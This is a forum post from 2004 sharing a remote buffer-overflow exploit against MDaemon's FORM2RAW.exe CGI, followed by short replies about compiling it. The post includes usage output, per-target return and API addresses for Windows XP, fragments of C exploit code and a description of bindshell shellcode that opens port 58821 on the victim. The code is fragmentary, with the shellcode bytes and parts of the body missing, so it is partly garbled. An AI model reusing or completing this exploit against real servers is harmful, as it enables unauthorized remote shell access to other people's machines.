--== Remote Exploit for Mdaemon version v6.85 and prior to 6.52 ==-- Code by: rave Contact: rave@rosiello.org Contact: airsupply@0x557.org Date: March 2004
Bug found by: hat-squad security ( great job !! )
MDaemon offers a full range of mail server functionality. MDaemon protects your users from spam and viruses, provides full security, includes seamless web access to your email via WorldClient, remote administration, and much more!".FORM2RAW.exe is a CGI that allows users to send emails using the MDaemon via a web page. It processes the fields of an HTML form and creates a raw message file in the raw queue directory of MDaemon mail server. This file then will be processed and queued for delivery by MDaemon. An attacker can cause a buffer overflow in MDaemon by issuing a malformed CGI request to FORM2RAW.exe.
According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the email address passed in the 'from' tag (see below) is a valid account on the MDaemon server. If you want to disable this behavior you can set the FromCheck=No in FORM2RAW.INI file".
Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a raw file that when processed by MDaemon will cause a Stack buffer overflow. The EIP register will be overwritten when the From field length is 249 bytes
Do i need to say more ? this is 0wnage 0ldsch00l style have fun.. This spawns a waiting bindshell on the victims computer at port 58821..
ps: The exploit has only been tested on Windows XP Home and pro edition (dutch) sp1 + the stack has been proofen to be verry humpy. So please dont yell it me if the exploit doesn't work on your Operative System .. thanks
The demo mode of the exploit shows in the debugger the following EAX = 00000000 EBX = 00000000 ECX = 014D1BD8 EDX = 01090000 ESI = 014C6000 EDI = 01AEF1A8 EIP = 42424242 ESP = 01AEEEE8 EBP = 0005E668
Note:Demo mode works on all operative systems
Usage <C:\Mdeamon>Mdeamon_exp.exe <target host> <target number> Target Number Target Name Stack Adress ============= =========== =========== 0 Demo 0x42424242 1 Windows XP HOME [NL] 0x014D4DFC 2 Windows XP PRO [NL] 0x014D4DFC
<C:\Mdeamon> Mdeamon_exp localhost 1 [+] Winsock Inalized [+] Trying to connect to localhost:3000 [+] socket inalized [+] Overflowing string is Prepared [+] Connected [+] Overflowing string had been send
<C:\> telnet localhost 58821 Microsoft Windows XP [versie 5.1.2600] C) Copyright 1985-2001 Microsoft Corp.
D:\MDaemon\APP>
Special Thanks to: airsuppy { 0x557 security r0cked me, ty for u part and cooperationg bro } Silicon { Unofficial source`s told me ur a rosiello member good i lent ur bindcode TY 100% } Sam { once again 0x557 ty for the chat aldo it was a short one } Dragnet { Always willing to help me out } Angelo { Verry verry good friend } Punix { Last time i forgot you girl ! :( im so sorry }
Greetz go out to: NrAziz { This is my brother anyone who touches him touches me, so pls make my day ! } sloth { good guy } Mercy { Hope to see u soon } Netric security { www.netric.org/.be } 0x557 security (SST) { www.0x557.org } [+] All the hax0rs i forgot.
This was rosiello there first coorperation with the 0x557 ppl witch have been proofen to be realy nice, in the past rosiello has worked with (now death) DSR also known as dtors security research, but (and its a personal wish) hope that 0x557 still will be so nice for us. I feel my self called to give a great big shoutout to these ppl for there work for now and in the futhure !! keep on doing the great job !.
Bad sounds of these days { i cant remember anything , can`t tell of this is trough or a dream. deep down down inside me i , feel the stream this terrable silence stop with me. Now that the warn is trough with me im waking up i can not see that there is nothing left of me nothing is real but pain now.
}
The original advisory can be found at: http://hat-squad.com/bugreport/mdaemon-raw.txt The mirored advisory can be fount at: http://www.securiteam.com/windowsntfocus/5ZP050ABPY.htm Our own Advisory can be found at : http://www.rosiello.org/en/read_bugs.php?17
!!!DO NOT USE THIS CODE ON DIFFERENT MACHINES BUT YOURS!!! Respect the law as we do!
struct sh_fix { unsigned long _wsasock; unsigned long _bind; unsigned long _listen; unsigned long _accept; unsigned long _stdhandle; unsigned long _system; };
struct remote_targets { char *os; unsigned long sh_addr; struct sh_fix _sh_fix; } target [] ={ /* Option`s for your eyes only :D*/ "Demo ", 0x42424242, { 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,// <-- 0x90909090, },
"Windows XP HOME [NL]", 0x014D4DFC, { 0x71a35a01, 0x71a33ece, 0x71a35de2, 0x71a3868d, 0x77e6191d,// <-- 0x77bf8044, },
"Windows XP PRO [NL]", 0x014D4DFC, { 0x71a35a01, 0x71a33ece, 0x71a35de2, 0x71a3868d, 0x77e6191d,// <-- 0x77bf8044, } };
unsigned char _addy [] = "\x90\x90\x90\x90";
// 116 bytes bindcode for windows,(NTlike) port=58821, by silicon :) // w000w you rule !! unsigned char shellcode[] =
/* The funny thing is while exploiting this bug one of the adresses (see target[1 || 2].sh_addr) had a forbidden character (0x20 aka space) to fix this i wrote this addy/mini shellcode tho replace the 0x19 (thats not supposed to be there) in the SetStdHandle () adress inside the shellcode for an 0x20. */
fprintf(stdout,"[+] Overflowing string is Prepared\n");
// Knock knock ... hi i want to hook up with you oops=connect(sd, (struct sockaddr *)&ooh, sizeof( ooh )); if(oops!=0) { fprintf(stderr,"[!] connect() failed.\n"); exit(-1); }
// yep wher`e in :D fprintf(stdout,"[+] Connected\n");
// Sending some Dangerous stuff i = send(sd,buffer,strlen(buffer),0); if (!i <0) { fprintf (stdout,"[!] Send() failed\n"); exit (-1); }
fprintf(stdout,"[+] Overflowing string had been send\n");
// Bring in the cleaners !! WSACleanup();
// [EOF] return 0;
}
Compile please
Grezz HYp3r
tazthedev
May 28 2004, 10:17 PM
thx... BUT !!!!! .... its kinda old, no ?
Ecko
May 28 2004, 10:23 PM
peace
first you shouldn't request compiled versions!
second i compiled successully with VC++
just add this line
#pragma comment(lib, "ws2_32.lib")
and 0 problems
but ok boy i am not an f*cking egoist (exist this word in english bad english sorry)
